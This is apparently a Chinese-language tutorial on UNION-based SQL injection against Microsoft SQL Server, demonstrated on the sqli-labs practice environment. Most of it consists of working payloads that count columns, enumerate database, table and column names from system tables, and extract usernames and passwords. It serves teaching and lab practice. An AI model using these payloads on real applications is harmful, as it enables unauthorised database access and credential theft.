SQL Server从0到1——利用方式

union注入

查看字段数:

order by 3

原理

SQL Server从0到1——利用方式_第1张图片

SQL Server从0到1——利用方式_第2张图片

如果字段数超过输出的字段数就会报错,通过报错来确定有几个字段 下面以mssql sqli labs为例:

SQL Server从0到1——利用方式_第3张图片

SQL Server从0到1——利用方式_第4张图片

判断出有3个字段 查看回显位置:

union select 1,2,3

可以判断有回显的字段未2,3字段

SQL Server从0到1——利用方式_第5张图片

 

爆库名:

union select 1,(select db_name()),3--+

爆表名:

SQL Server从0到1——利用方式_第6张图片

union all select 1,(select top 1 name from test.dbo.sysobjects where xtype = 'U'),3--+

SQL Server从0到1——利用方式_第7张图片

 

union all select 1,(select top 1 name from test.dbo.sysobjects where xtype='U' and name not in ('emalis')),3--+

SQL Server从0到1——利用方式_第8张图片

爆列名:

union select 1,(select top 1 name from test.dbo.syscolumns where id=(select id from test.dbo.sysobjects where name = 'users') and name<>'id'),3--+

SQL Server从0到1——利用方式_第9张图片

union select 1,(select top 1 name from test.dbo.syscolumns where id=(select id from test.dbo.sysobjects where name = 'users' ) and name not in('id','username')),3--+

SQL Server从0到1——利用方式_第10张图片

 

爆数据:

union select 1,2,(select top 1 username%2B':'%2Bpassword from test.dbo.users)--+
如果要直接使用+号需要进行url编码%2B,不然会被解析为空格,--+中的+就是空格

SQL Server从0到1——利用方式_第11张图片

你可能感兴趣的:(数据库,web安全,网络,安全,学习)